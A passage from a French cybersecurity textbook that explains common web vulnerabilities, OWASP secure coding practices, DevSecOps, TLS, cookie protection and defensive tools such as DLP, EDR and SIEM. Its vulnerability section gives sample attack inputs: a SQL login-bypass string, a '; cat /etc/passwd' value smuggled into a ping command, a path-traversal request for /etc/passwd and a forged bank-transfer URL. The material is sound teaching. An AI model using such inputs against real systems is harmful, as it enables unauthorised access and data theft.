			- Un utilisateur malveillant exploite l’absence de filtrage pour se loguer en tant que « Jean » sans pour autant connaître son mot de passe. Cela est possible en rentrant le texte «Jean’;-- » comme login. Cela donne la requête SQL : SELECT uid FROM Users WHERE name = ‘Jean’ ;--’ AND password = ‘<mot de passe hashé>‘;. La partie de la requête en gras est interprétée comme un commentaire, et le contrôle sur le mot de passe est donc bypassé. Précisions que le code de commentaire, ici --, dépend du type de base utilisé par le site ; d’autres moteurs utilisent le #.

			Un moyen simple pour tester la présence d’une faille d’injection SQL est de rentrer une simple côte dans la zone de saisie potentiellement vulnérable. Si le site se comporte de façon étrange, cela mérite une analyse plus approfondie, par exemple avec un outil comme sqlmap.

			

			Injection de commandes

			Il s’agit d’un autre type d’injection qui exploite un filtrage trop laxiste des entrées.

			Dans le cas le plus courant, l’application vulnérable utilise l’input comme paramètre d’une commande fixe exécutée au niveau du système d’exploitation.

			L’attaquant place des séparateurs (par exemple « ; » ou « & ») dans le texte envoyé, de façon à ce que l’OS exécute d’autres commandes inattendues après la commande légitime.

			Imaginons le cas d’un site qui se propose de réaliser une vérification du temps de réponse d’une adresse IP insérée comme paramètre, en construisant la commande « ping <IP> » et en affichant l’output de cette commande à l’écran.

			Si l’attaquant, au lieu de se limiter à renseigner l’adresse IP attendue, ajoute « ; cat /etc/passwd », il provoque l’exécution de deux commandes et obtient l’affichage l’écran d’informations cachées.

			Notons que le séparateur joue dans cette attaque un rôle similaire au commentaire dans les injections SQL.

			Dépassement de tampon (buffer overflow)

			Les attaques de type buffer overflow sont rendues possibles par une mauvaise gestion de la mémoire par des programmes écrits dans un langage de bas niveau comme le C. Le programme alloue une certaine taille d’octets à un buffer destiné à recueillir des données utilisateur, mais ne s’assure pas que l’utilisateur respecte cette limite de taille.

			C’est un autre exemple de mauvais filtrage des entrées.

			

			Un attaquant peut se rendre compte de ce bug en soumettant de très longues chaînes de caractères en entrée ; si le programme subit un crash, c’est un signe qu’il est probablement vulnérable à un buffer overflow.

			L’attaquant peut alors forger un payload malveillant en entrée, et le faire exécuter par le programme en contrôlant le pointeur d’instruction, situé « au-dessus » du buffer alloué par le programme, et donc écrasé par le dépassement de ce tampon :

			L’image ci-contre, publiée sur le blog d’Acunetix35, illustre la dynamique de l’attaque.
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			Traversée de répertoire (path traversal)

			

			Il s’agit d’une faille liée à une mauvaise gestion des chemins de fichiers. Dans la forme la plus simple, l’attaquant exploite cela en utilisant une séquence de chaînes « ../ », comme dans l’exemple suivant :

			- Un serveur web qui tourne sur un OS Linux a comme racine le dossier /var/www, dans lequel se trouve le fichier index.html, ainsi que l’arborescence du site : la requête http://<adresse du site>/files/test.txt est traitée par le serveur en envoyant le contenu du fichier /var/www/files/test.txt

			- Un attaquant soumet la requête http://<adresse du site>/../../etc./passwd

			- Le serveur interprète naïvement la requête et transmet le contenu du fichier « passwd », qui est évidemment confidentiel (même s’il ne stocke pas les hashes des mots de passe, qui sont stockés dans /etc/shadow).

			Encore une fois, la vulnérabilité est liée à une mauvaise gestion des inputs.

			Notons que les serveurs web qu’on trouve sur le marché sont bien sûr immuns à cette faille, mais il est relativement fréquent de la rencontrer dans des scripts ou autres petits développements « maison » réalisés par des développeurs non professionnels, comme des administrateurs système.

			Cross-Site Request Forgery (CSRF)

			Cette vulnérabilité ne dépend pas au sens strict d’un mauvais filtrage des entrées, mais plutôt d’une mauvaise vérification de l’intentionnalité d’une requête web adressée à un site.

			Ce scénario, certes un peu caricatural, illustre le déroulement de l’attaque :

			- Un utilisateur est logué légitimement sur le site web de sa banque, qui permet de réaliser des virements à des tiers via une requête web de type https://<adresse du site>/virement.php ?destinataire=<IBAN>&montant=<montant>

			

			- L’attaquant piège la victime, à travers du phishing ou de la social engineering, afin qu’elle clique sur un lien qui exécute la requête : https://<adresse du site>/virement.php ? destinataire=<IBAN de l’attaquant>&montant=<montant>

			- Le site reçoit la requête de la victime, qui inclut bien sûr les cookies de session, et exécute le virement à destination de l’attaquant.

			La prévention de cette faille n’est pas triviale ; cette page36 contient plusieurs solutions, la plus courante consistant à rajouter une demande de confirmation à l’utilisateur avant d’actionner la requête.

			Autres vulnérabilités

			Exposition de données sensibles

			Cette vulnérabilité regroupe une vaste partie de cas de figure, dont :

			- L’affichage de messages d’erreur trop verbeux, qui dévoilent des détails sur les composantes techniques de l’application (versions des modules, chemins de fichiers, etc.).

			- La gestion naïve des échecs d’authentification, par exemple en utilisant deux messages distincts « mauvais utilisateur » et « mauvais mot de passe », plutôt qu’un message générique « erreur d’authentification ».

			- L’écriture dans les logs d’informations secrètes (mots de passe, numéros de cartes bancaires, etc.).

			

			Authentification défaillante

			Il y a plusieurs erreurs possibles quand il s’agit de gérer l’authentification ; les plus communes sont les suivantes :

			- Ne pas utiliser le chiffrement pour la transmission des secrets d’authentification (mots de passe, clés API…).

			- Autoriser des mots de passe faibles ou par défaut.

			- Ne pas prévoir de limitation aux tentatives de login, permettant ainsi des attaques bruteforce.

			- Utiliser un seul facteur d’authentification pour des applications très sensibles.

			- Exposer les identifiants de session dans les URL.

			Le meilleur moyen d’éviter ces erreurs est d’utiliser un framework ou des bibliothèques d’authentification éprouvés : il est toujours risqué de réinventer la roue pour des fonctionnalités standard.

			Contrôle d’accès défaillant

			Au-delà d’une mauvaise application du principe du moindre privilège (autorisations accordées de façon laxiste), cette vulnérabilité résulte des pratiques suivantes :

			- L’application permet, à travers une manipulation d’URL, d’accéder à des informations qui ne devraient pas être dévoilées (par exemple, affichage du solde d’un autre compte bancaire que le sien).

			- L’application permet une escalade de privilèges.

			- L’application gère les habilitations côté client, en adaptant l’interface affichée au niveau d’autorisation de l’utilisateur (par exemple, certains boutons sont grisés), mais l’API côté serveur n’implémente pas de restrictions.

			Secrets codés en dur

			

			Cette vulnérabilité se présente quand un logiciel contient des informations d’identification codées en dur dans son code source ou dans un fichier de configuration mal protégé.

			Cela peut concerner des mots de passe ou des clés cryptographiques, que le programme utilise pour sa propre authentification entrante, pour la communication sortante vers des composants externes ou pour le chiffrement de ses données.

			La meilleure parade pour éviter cette faille de sécurité est d’utiliser un gestionnaire de secrets, qui permet de les récupérer à la volée via des appels API.

			Faute de pouvoir utiliser un gestionnaire de secrets, il est recommandé de protéger le fichier de configuration qui stocke les secrets à travers un contrôle d’accès strict et du chiffrement.

			Pour conclure cette séquence, rappelons que les applications héritent des vulnérabilités de leur environnement : défaut de mise à jour au niveau de l’OS et du middleware, réseau mal sécurisé, absence de système de détection d’intrusion, etc.

			
				
					
				
				
					
							
							
								
									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							- L’OWASP met à disposition gratuitement une application volontairement vulnérable : Juice Shop37, qui permet de pratiquer l’exploitation des failles en toute légalité.

							- Un pare-feu traditionnel, qui opère jusqu’à la couche 4 du modèle OSI (transport), ne peut pas grand-chose contre les attaques applicatives : pour cela, il faut un Web Application Firewall (WAF), qui opère au niveau 7.

							- Avant de déployer au grand public une nouvelle application web, il est conseillé de lui faire passer un test d’intrusion.

						
					

				
			

			

			Pratiques de développement sécurisé

			Recommandations de l’OWASP

			Le site de l’OWASP, vraie mine d’or d’informations pour la sécurité des développements, a publié l’« OWASP Secure Coding Practices Quick Reference Guide38 », qui contient des listes de bonnes pratiques regroupées par thèmes.

			Voici une sélection des recommandations les plus importantes.

			Validation des données

			- Identifier toutes les sources de données et les classer entre fiables et non fiables.

			- Valider toutes les données provenant de sources non fiables.

			- Valider les données côté serveur.

			- Valider toutes les données fournies par le client avant le traitement, y compris tous les paramètres, les URL et le contenu de l’en-tête HTTP.

			- Valider le type, la plage et la longueur des données.

			- Valider toutes les entrées par rapport à une liste blanche de caractères autorisés, dans la mesure du possible.

			- Nettoyer toutes les sorties de données non fiables vers les commandes du système d’exploitation.

			Authentification et gestion des mots de passe

			- Exiger une authentification pour toutes les pages et ressources, à l’exception de celles spécifiquement destinées à être publiques.

			

			- Tous les contrôles d’authentification doivent être appliqués côté serveur.

			- Mettre en place et utiliser des services d’authentification standard et éprouvés chaque fois que possible.

			- Utiliser une implémentation centralisée pour tous les contrôles d’authentification.

			- Si nécessaire, stocker les mots de passe hashés avec salage ; utiliser des algorithmes modernes (éviter MD5 et SHA1).

			- Les réponses d’échec d’authentification ne doivent pas indiquer quelle partie des données d’authentification est incorrecte. Par exemple, au lieu de « Nom d’utilisateur invalide » ou « Mot de passe invalide », utiliser simplement « Nom d’utilisateur et/ou mot de passe invalides » pour les deux.

			- Utiliser uniquement les requêtes HTTP POST pour transmettre les informations d’authentification.

			- Ne jamais transmettre les mots de passe en clair.

			- Appliquer les exigences de complexité des mots de passe établies par les politiques de sécurité applicables.

			- La saisie du mot de passe doit être masquée sur l’écran de l’utilisateur.

			- Appliquer la désactivation du compte après un nombre établi de tentatives de connexion invalides (par exemple, cinq tentatives sont courantes). Le compte doit être désactivé pendant une période de temps suffisante pour décourager les attaques bruteforce.

			- Les questions de réinitialisation de mot de passe doivent prendre en charge des réponses suffisamment aléatoires (par exemple, « livre préféré » est une mauvaise question, car « la Bible » est une réponse très courante).

			- Les mots de passe et les liens temporaires doivent avoir un délai d’expiration court.

			- Désactiver la fonctionnalité « Se souvenir » pour les champs de mot de passe.

			- Réauthentifier les utilisateurs avant d’effectuer des opérations critiques.

			- Utiliser l’authentification multifacteur pour les comptes sensibles.

			- Si un code tiers est utilisé pour l’authentification, l’inspecter soigneusement pour s’assurer qu’il n’est pas affecté par un code malveillant.

			

			Autorisation et gestion des accès

			- Prendre les décisions d’autorisation côté serveur, au plus près des ressources protégées.

			- Appliquer des contrôles d’autorisation à chaque demande.

			- Restreindre aux seuls utilisateurs autorisés : l’accès aux URL protégées, l’accès aux fonctions protégées et l’accès aux données d’application.

			- Mapper les flux logiques de l’application en correspondance des règles métier.

			- Limiter le nombre de transactions qu’un seul utilisateur ou appareil peut effectuer sur une période donnée.

			- Mettre en œuvre une revue des comptes et imposer la désactivation des comptes inutilisés.

			- Les comptes de service ou les comptes prenant en charge les connexions vers ou depuis des systèmes externes doivent avoir le moins de privilèges possible.

			Gestion des sessions

			- La création d’identifiants de session doit toujours être effectuée côté serveur.

			- Les contrôles de gestion de session doivent utiliser des algorithmes bien contrôlés qui garantissent des identifiants de session suffisamment aléatoires.

			- La fonctionnalité de déconnexion doit mettre fin complètement à la session ou à la connexion associée.

			- Établir un délai d’expiration de la session aussi court que possible, en fonction de l’équilibre entre les risques et les exigences fonctionnelles.

			- Éviter le délai d’expiration de session « infini ».

			- Prévoir la possibilité d’une déconnexion explicite.

			- Tracer la création/destruction de session afin d’analyser la tendance de création et identifier des anomalies qui pourraient être liées à une attaque.

			- Générer un nouvel identifiant de session lors de toute réauthentification.

			

			- Ne pas autoriser les connexions simultanées avec le même ID utilisateur.

			- Ne pas exposer les identifiants de session dans les URL, les messages d’erreur ou les journaux. Les identificateurs de session ne doivent être situés que dans l’en-tête du cookie HTTP. Par exemple, ne jamais transmettre les identificateurs de session en tant que paramètres GET.

			- Définir l’attribut « secure » pour les cookies transmis via une connexion TLS.

			Journalisation et gestion des erreurs

			- Ne pas divulguer d’informations sensibles dans les réponses d’erreur, y compris les détails du système, les identifiants de session ou les informations de compte.

			- Implémenter des messages d’erreur génériques et utiliser des pages d’erreur personnalisées.

			- Tous les contrôles de journalisation doivent être mis en œuvre côté serveur.

			- Les contrôles de journalisation doivent prendre en charge à la fois le succès et l’échec des événements de sécurité spécifiés.

			- Restreindre l’accès aux journaux aux seules personnes autorisées.

			- Ne pas stocker d’informations sensibles dans les journaux, y compris les détails système inutiles, les identifiants de session ou les mots de passe.

			- Consigner dans les logs : les échecs de validation des entrées, les tentatives d’authentification (en particulier les échecs), les échecs de contrôle d’accès, les exceptions système, les fonctions administratives.

			Protection des données et configurations système

			- Mettre en œuvre le principe du moindre privilège, restreindre les utilisateurs aux seules fonctionnalités, données et informations système requises pour effectuer leurs tâches.

			- Chiffrer les informations stockées hautement sensibles.

			

			- Mettre en œuvre le chiffrement pour la transmission de toutes les informations sensibles, avec une configuration durcie de TLS.

			- Supprimer les commentaires dans le code de production.

			- Supprimer le code de test ou toute fonctionnalité non destinée à la production avant le déploiement.

			- Ne pas inclure d’informations sensibles dans les paramètres des requêtes HTTP GET.

			- Désactiver les fonctionnalités de saisie semi-automatique sur les formulaires censés contenir des informations sensibles.

			- Désactiver la mise en cache côté client sur les pages contenant des informations sensibles.

			- Mettre en place des contrôles d’accès appropriés pour les données sensibles stockées sur le serveur.

			- Désactiver le directory listing.

			- Empêcher la divulgation de la structure de répertoires dans le fichier « robots.txt » en plaçant les répertoires non destinés à l’indexation publique dans un répertoire parent isolé. Puis interdire tout ce répertoire parent dans le fichier « robots.txt » plutôt qu’interdire chaque répertoire individuel.

			- Désactiver les méthodes HTTP inutiles.

			- Supprimer les informations inutiles des en-têtes de réponse HTTP liées au système d’exploitation, à la version du serveur web et aux applications.

			- Isoler les environnements de développement du réseau de production.

			- Appliquer aux environnements de développement un niveau de sécurité équivalent à l’environnement de production.

			- Ne pas utiliser des données de production dans les environnements de développement, mais créer des jeux de données de test « artificielles ».

			Sécurité des bases de données

			- Les chaînes de connexion ne doivent pas être codées en dur dans l’application.

			- Utiliser des procédures stockées pour centraliser et contrôler l’accès aux données.

			

			- Désactiver toutes les fonctionnalités de base de données inutiles.

			- Supprimer ou modifier tous les mots de passe administratifs par défaut de la base de données.

			- Fermer la connexion de l’application dès que possible.

			Gestion des fichiers

			- Limiter le type de fichiers pouvant être téléchargés aux seuls types nécessaires.

			- Lorsqu’on fait référence à des fichiers existants, utiliser une liste blanche de noms et de types de fichiers autorisés.

			- Ne pas afficher les chemins des répertoires ou des fichiers.

			- Analyser les fichiers téléchargés par l’utilisateur pour les virus et les logiciels malveillants.

			Gestion de la mémoire

			- Utiliser le contrôle des entrées et des sorties pour les données non fiables.

			- Tronquer toutes les chaînes d’entrée à une longueur raisonnable avant de les transmettre aux fonctions de copie et de concaténation.

			- Utiliser des piles non exécutables lorsqu’elles sont disponibles.

			- Fermer spécifiquement les ressources, sans compter sur le ramasse-miettes (garbage collector).

			
				
					
				
				
					
							
							
								
									

									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							- J’ai développé la conviction qu’un développeur non formé à la sécurité, ou du moins qui ne s’y intéresse pas, tombera forcément dans des erreurs de programmation qui rendront ses applications vulnérables.

							- Souvent, les développeurs ont pour driver principal la vitesse des livraisons, sous la pression du business, mais c’est une grave erreur que de négliger la sécurité sous prétexte de livrer rapidement. Il est beaucoup plus chronophage et coûteux de rectifier les failles une fois que l’application est en production plutôt qu’en phase de développement.

						
					

				
			

			DevSecOps

			Les innovations technologiques des dernières années, en particulier la possibilité de déployer très rapidement des infrastructures dans le cloud, ont mis en évidence les limites des méthodes traditionnelles de développement logiciel en cascade, basées sur une succession séquentielle d’étapes prédéfinies.

			Cela a conduit à l’émergence des méthodes agiles et de la culture DevOps, marquées par des cycles de production plus courts, l’automatisation et l’atténuation du clivage historique entre équipes des développements (Devs) et administrateurs des infrastructures (Ops), résumé par la célèbre devise de Werner Vogels, CTO d’AWS : « You build it, you run it. »

			Les entreprises qui ont adopté avec succès ce changement culturel ont réussi à réduire sensiblement leur « time to market », en déployant leurs produits logiciels avec une rapidité inconcevable auparavant.

			Cette vitesse accrue a pourtant introduit de nouveaux challenges pour la sécurité des applications : comment éviter les vulnérabilités tout en assurant plusieurs déploiements par semaine voire par jour ? L’approche DevSecOps apporte trois importants axes de réponse.

			

			

			Shift security to the left

			Il est unanimement accepté que l’effort de sécuriser une application après coup est extrêmement plus coûteux que l’intégration des exigences de sécurité dès sa conception. Pas de débat donc sur la nécessité d’intégrer la sécurité dès le début (à gauche sur l’axe temporel), mais comment le faire en pratique ?

			Embarquer un expert sécurité dans chaque équipe de développement est coûteux et pas scalable. D’un autre côté, l’équipe sécurité (quand il y en a une !) peut se montrer trop réfractaire au risque et abuser de son pouvoir de veto, introduisant des délais indus dans les déploiements.

			DevSecOps propose ces pratiques :

			- Former les codeurs au développement sécurisé, par exemple en s’appuyant sur le très riche matériel mis à disposition par l’Open Web Application Security Project (OWASP).

			- Faciliter la communication entre les Devs, les Ops et la sécurité, par exemple à travers des sessions de partage de l’information, des conférences et des ateliers de travail collaboratif.

			- Promouvoir la sécurité comme un état d’esprit et une valeur de l’entreprise.

			Automatiser les contrôles de sécurité

			Les contrôles de sécurité doivent être implémentés tout au long du cycle de vie du code, autrement dit dans le pipeline d’intégration et de livraison continues. Le panel de tests automatiques doit être enrichi par des tests liés à la sécurité, en intégrant idéalement des outils d’analyse de code :

			- Software Composition Analysis (SCA)39, qui vérifie si l’application a des dépendances vulnérables en contrôlant les versions des librairies, modules et plugins open source.

			- Static Application Security Testing (SAST)40, qui analyse le code source ou les versions compilées du code pour aider à trouver les failles de sécurité, en proposant des remédiations le cas échéant.

			- Dynamic Application Security Testing (DAST)41, qui analyse les applications web, normalement de l’extérieur, pour rechercher des vulnérabilités de sécurité telle que des XSS et des injections SQL.

			Le risque, à ce stade, est que les faux positifs se multiplient ; il est très important d’en maîtriser le nombre à travers un travail de tuning pour ne pas retarder à tort les livraisons, la vitesse de livraison étant le nerf de la guerre.

			La génération de métriques liées à la sécurité va de pair avec cet effort d’automatisation, et permet de remonter des KPI essentielles à la communication avec les responsables métier.

			Notons qu’une nouvelle approche est en train d’émerger : le Runtime Application Self-Protection (RASP)42, une technologie de sécurité qui a pour but de détecter et bloquer les attaques informatiques en tirant parti des informations contenues dans le logiciel en cours d’exécution.

			Désigner des champions sécurité

			Comme indiqué plus haut, il n’est pas viable de positionner des experts sécurité dans chaque équipe de développement : l’approche préconisée par DevSecOps est de promouvoir des champions sécurité parmi les membres des équipes Dev et Ops. Ces « champions » doivent devenir le relais de l’équipe sécurité, à travers un parcours de sensibilisation et de formation.

			Parmi les responsabilités qu’ils peuvent porter figurent les suivantes :

			- Décider à quel moment demander l’avis des experts sécurité.

			- Animer les revues de code (Dev) et les audits de configuration (Ops).

			- Coordonner la modélisation des menaces.

			

			- Sensibiliser les collègues aux bonnes pratiques de sécurité.

			Il est important de préciser que ces nouvelles pratiques de sécurité n’éliminent pas pour autant l’importance de réaliser périodiquement des tests d’intrusion applicatifs et de se doter d’un système d’analyse et corrélation des logs (SIEM), idéalement administré par un Security Operations Center (SOC).

			
				
					
				
				
					
							
							
								
									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							- Je suis convaincu que les recommandations de l’approche DevSecOps sont incontournables aujourd’hui et que tout développeur devrait s’y intéresser. La sécurité des applications n’est pas un nice-to-have mais une exigence.

							- Le nombre de tests automatiques pour une application donnée peut être très important : j’ai déjà vu des cas où il dépasse le millier.

						
					

				
			

			Sécurisation d’un site web

			Mesures de sécurisation selon le type d’hébergement

			Il existe plusieurs possibilités d’héberger un site web :

			- On-premise : l’organisation dispose d’une salle machine privative dans ses propres locaux, et y installe un ou plusieurs serveurs web physiques ou virtuels, qui peuvent tourner sous Linux (Apache, Nginx, node.js) ou sous Windows (IIS). Le choix d’installer plusieurs serveurs implique l’installation d’un load balancer en frontal, pour l’équilibrage de la charge.

			

			- IaaS : l’organisation loue une ou plusieurs machines virtuelles auprès d’un fournisseur de cloud public ou privé. L’installation et la configuration du serveur web sur la machine virtuelle peuvent être réalisées directement par l’équipe informatique de l’organisation, ou sous-traitées à un prestataire si un contrat d’infogérance est en place.

			- PaaS : l’organisation s’appuie sur une solution PaaS qui permet de charger le code source du site web avec le support de plusieurs langages et frameworks (PHP, Node.js, Python, Drupal, Symfony, WordPress, Strapi, etc), en prenant en charge le déploiement des couches basses, généralement des conteneurs créés à la volée. Citons par exemple Heroku43, Azure App Service44 et AWS Elastic Beanstalk45.

			- SaaS (website builder) : l’organisation, qui dispose dans ce cas de peu de compétences en développement, se tourne vers un outil de construction de site web, aujourd’hui la manière la plus simple et rapide de créer son site internet soi-même. Citons par exemple Wix.com46, Squarespace47 et SiteW48.

			Les responsabilités qui incombent à l’organisation en termes de sécurisation varient bien entendu en fonction du modèle de service retenu. Clairement, le modèle on-premise est celui qui implique plus de responsabilités pour l’organisation, qui doit maîtriser la sécurité de bout en bout, et cela demande beaucoup de ressources matérielles, logicielles et de compétences humaines.

			Examinons les mesures de sécurité de base associées aux différentes couches de service.
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			Sécurisation des bases de données

			À partir d’un certain niveau de complexité, pratiquement tout site web utilise une base de données. Encore une fois, plusieurs modèles de service sont possibles :

			- Base entièrement gérée par le fournisseur d’un CMS en mode PaaS ou SaaS ;

			- Base de données exposée en mode PaaS comme service managé par un fournisseur cloud (cf. AWS RDS ou DynamoDB) ;

			- Base de données entièrement gérée par l’organisation propriétaire du site.

			Dans tous les cas, les mesures de sécurisation d’une base de données sont les suivantes.

			Mesures de première nécessité :

			- Gestion des utilisateurs sur la base du principe du moindre privilège ;

			- Durcissement de la configuration, en prenant en compte les préconisations de l’éditeur

			- Mise en place de sauvegardes régulières ;

			- Application rapide des mises à jour de sécurité publiées par l’éditeur.

			Pour aller plus loin :

			- Chiffrement des données au repos, possible à plusieurs niveaux : au niveau du disque (géré par le système d’exploitation), au niveau du moteur de la base de données (transparent encryption) ou au niveau applicatif (l’application web inclut un moteur de chiffrement) ;

			- Chiffrement des données en transit, à travers l’utilisation de TLS dans les échanges entre site web et base de données ;

			- Mise en place de la haute disponibilité, notamment à travers du clustering ;

			- Transmission des logs vers un SIEM ;

			- Contrôle de l’intégrité des fichiers de configuration, par exemple à travers un outil de File Integrity Monitoring (FIM) ;

			- Déploiement d’une solution de Database Activity Monitoring (DAM).

			

			HTTPS

			Examinons maintenant le protocole HTTPS (HyperText Transfer Protocol Secure), incontournable pour la sécurité des sites web. En effet, HTTP (sans le S) prévoit une transmission des données en clair. Cela n’est pas gênant pour des informations de caractère public, mais représente une vulnérabilité importante pour des informations confidentielles, notamment en lien avec l’authentification.

			En effet, il suffit pour un attaquant de s’interposer entre le client et le serveur HTTP, avec une attaque « man in the middle » pour avoir accès à tous les échanges en clair, et potentiellement voler des mots de passe ou des cookies de session.

			HTTPS renforce donc HTTP en ajoutant une surcouche de chiffrement, assurée par l’une de ces versions de protocoles :

			- SSLv2 (1995), déprécié depuis 2011 et vulnérable.

			- SSLv3 (1996), déprécié depuis 2015 et vulnérable.

			- TLS 1.0 (1999), déprécié depuis 2020 et vulnérable.

			- TLS 1.1 (2006), déprécié depuis 2020 et vulnérable.

			- TLS 1.2 (2008), encore utilisable, mais en cours de remplacement par TLS 1.3 .

			- TLS 1.3 (2018), le plus sécurisé, à privilégier.

			Le wiki de Mozilla49 est la ressource de référence concernant la configuration de TLS, et propose trois profils de compatibilité avec les navigateurs : Old, Intermediate et Modern, ce dernier étant le plus exigeant.

			L’outil en ligne SSL Labs50 et son équivalent en ligne de commandes testssl.sh51 permettent de générer des rapports très détaillés sur la configuration SSL/TLS d’un site cible.

			TLS fonctionne en mode client-serveur et permet de satisfaire les objectifs de sécurité suivants :

			- L’authentification du serveur.

			

			- La confidentialité des données échangées (ou session chiffrée).

			- L’intégrité des données échangées.

			- De manière optionnelle, l’authentification du client.

			Lorsqu’un utilisateur se connecte à un site web qui utilise TLS, les étapes suivantes ont lieu :

			Étape 1

			Le navigateur du client envoie au serveur une demande de mise en place de connexion sécurisée par TLS.

			Étape 2

			Le serveur envoie au client son certificat : celui-ci contient sa clé publique, ses informations (nom de la société, adresse postale, pays, e-mail de contact, etc.), ainsi qu’une signature numérique.

			Étape 3

			Le navigateur du client tente de vérifier la signature numérique du certificat du serveur en utilisant les clés publiques contenues dans les certificats des autorités de certifications (AC) intégrées par défaut dans le navigateur :

			- Si l’une d’entre elles fonctionne, le navigateur web en déduit le nom de l’autorité de certification qui a signé le certificat envoyé par le serveur. Il vérifie que celui-ci n’a pas expiré et qu’il n’a pas été révoqué.

			- Si aucune d’entre elles ne fonctionne, le navigateur web tente de vérifier la signature numérique du certificat du serveur à l’aide de la clé publique contenue dans celui-ci. En cas de réussite, cela signifie que le serveur web a lui-même signé son certificat. Un message d’avertissement s’affiche alors sur le navigateur web, prévenant l’utilisateur que l’identité du serveur n’a pas été vérifiée par une autorité de certification, et qu’il peut donc s’agir potentiellement d’un site frauduleux. En cas d’échec, le certificat est invalide, la connexion ne peut pas aboutir.

			Étape 4

			Le navigateur du client génère une clé de chiffrement symétrique, appelée « clé de session », qu’il chiffre à l’aide de la clé publique contenue dans le certificat du serveur, puis transmet cette clé de session au serveur.

			Étape 5

			

			Le serveur déchiffre la clé de session envoyée par le client grâce à sa clé privée.

			Étape 6

			Le client et le serveur commencent à s’échanger des données en chiffrant celles-ci avec la clé de session qu’ils ont en commun. On considère à partir de ce moment que la connexion TLS est établie entre le client et le serveur.

			Étape 7

			Une fois la connexion terminée (déconnexion volontaire de l’utilisateur ou si durée d’inactivité trop élevée), le serveur révoque la clé de session.

			HTTP Strict Transport Security (HSTS) est un mécanisme permettant à un serveur web de déclarer à un navigateur web qu’il doit interagir avec lui en utilisant obligatoirement une connexion sécurisée en HTTPS. Cette exigence est communiquée à l’agent utilisateur par le serveur, via la réponse HTTP, dans le champ d’en-tête nommé « Strict-Transport-Security ».

			Cookies

			Les cookies sont positionnés par un serveur web sur le navigateur, à travers l’en-tête « Set-Cookie » dans une réponse HTTP, pour y stocker un état qui sera retransmis par le navigateur dans les requêtes suivantes.

			Dans le cas d’usage le plus courant, le cookie permet d’identifier la session de l’utilisateur, de façon que le serveur puisse le reconnaître tout au long de sa navigation.

			Les cookies contiennent souvent des informations personnelles ou sensibles ; il est donc important de les protéger en conséquence.

			Les deux mécanismes de sécurisation les plus importants sont les suivants :

			- Attribut HttpOnly, qui empêche d’accéder aux cookies en JavaScript : si un attaquant venait à injecter du JavaScript, par exemple à travers une faille XSS, les cookies ne seraient pas accessibles, ce qui limiterait la portée de l’attaque.

			

			- Attribut Secure, dont le but est d’empêcher que les cookies soient observés par des attaquants, en raison de la transmission du cookie en clair. Pour atteindre cet objectif, les navigateurs qui prennent en charge l’attribut Secure n’enverront des cookies avec l’attribut Secure que lorsque la requête sera en HTTPS. Autrement dit, le navigateur n’enverra pas de cookie avec l’attribut Secure sur une requête HTTP en clair, pour en protéger la confidentialité.
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			Chapitre 7

			Sécurité défensive et résilience

			La sécurité défensive et la résilience constituent des piliers essentiels pour protéger les systèmes d’information. La première se concentre sur la détection, la prévention et la réponse aux incidents, tandis que la seconde vise à assurer la continuité des activités, même en cas d’attaque ou de sinistre.

			Technologies défensives

			La surveillance continue de la sécurité d’un système d’information est incontournable pour détecter rapidement une intrusion informatique. Si une organisation ne met pas en place les bonnes mesures, elle aura besoin de plusieurs semaines voire mois pour se rendre compte qu’elle a été victime d’une attaque. Le délai médian de détection d’une intrusion dans un système d’information (SI), souvent appelé dwell time, varie selon les sources et les périodes étudiées ; à titre d’exemple, les rapports M-Trends de Mandiant donnent pour ces dernières années des valeurs comprises entre 2 et 4 semaines.

			

			Quels sont d’ailleurs les symptômes les plus fréquents d’une compromission ?

			Sans être exhaustive, la liste suivante pointe certains éléments qui peuvent alerter :

			- Ralentissement des serveurs et/ou des postes de travail.

			- Redémarrages intempestifs des serveurs et/ou des postes de travail.

			- Consommation anormale de la bande passante, en entrée et/ou en sortie.

			- Taux d’activité inhabituel du site web de l’organisation.

			- Messages électroniques envoyés depuis les boîtes mail de certains utilisateurs, sans que ces derniers en soient à l’origine.

			- Impossibilité de se connecter à un compte ou d’accéder à certaines données.

			- Fichiers disparus, modifiés ou endommagés.

			- Création ou destruction de comptes.

			Cela étant dit, les attaques les plus sophistiquées sont presque impossibles à détecter sans les dispositifs techniques adaptés. Passons en revue les principales technologies défensives.

			DLP

			Les techniques de DLP (Data Loss Prevention ou Protection) ont pour but de protéger les organisations contre les fuites de données sensibles, qu’elles soient liées à une action malveillante ou à des erreurs du personnel. Les outils de DLP ont la capacité d’identifier les informations à protéger, sur la base d’une analyse du contenu (pattern matching), sur la base des noms des fichiers ou sur la base des métadonnées et des tags.

			

			La DLP peut être implémentée à différents endroits du réseau :

			- Au niveau des postes des utilisateurs, après installation d’agents.

			- Au niveau des serveurs des fichiers.

			- Au niveau des passerelles internet.

			- Au niveau des serveurs de messagerie.

			Une organisation disposant d’outils de DLP est en meilleure posture pour identifier les attaques où les ingénieurs sociaux manipulent un employé pour exfiltrer des données confidentielles.

			La DLP contribue également à la détection de la fraude interne, tout aussi redoutable que les attaques venant de l’extérieur.

			EDR

			Les EDR (Endpoint Detection and Response) sont des antimalwares de dernière génération qui disposent de capacités de détection dont les outils traditionnels sont dépourvus. En effet, ces derniers se basent principalement sur le mécanisme de détection des signatures, qui est relativement facile à contourner par les pirates.

			Les EDR intègrent des fonctionnalités d’analyse comportementale et heuristique, qui leur permettent de lutter contre des malwares pas encore répertoriés.

			Ils peuvent être déployés aussi bien au niveau des postes utilisateurs qu’au niveau des serveurs et peuvent s’avérer très utiles lorsqu’un pirate essaie de pousser un employé à exécuter un logiciel piégé (cheval de Troie, enregistreur de frappe, porte dérobée).

			SIEM

			

			Les SIEM (Security Information and Event Management) ont pour but principal la détection d’activité malveillante au sein d’un système d’information, à partir de l’analyse des logs.

			Ils intègrent les fonctionnalités suivantes :

			- Collecte et interrogation des journaux.

			- Corrélation des journaux et détection d’anomalie.

			- Création d’alertes et d’incidents.

			- Visualisation de tableaux de bord.

			Ils peuvent ingérer les logs de différents composants, typiquement :

			- Infrastructure :

			• Serveurs (AD, DNS, Proxy…).

			• Équipements réseau (routeurs, switches, load balancers…).

			• Équipements de sécurité (firewalls, WAF, IDS…).

			• Baies de stockage.

			- Applications :

			• Messagerie.

			• Applications métiers.

			• Outils de sécurité.

			Lors du premier déploiement d’un SIEM, il est recommandé de commencer par y intégrer, en tant que sources de journaux, les composants considérés comme les plus importants, puis d’élargir progressivement la couverture en ajoutant des composants moins critiques.

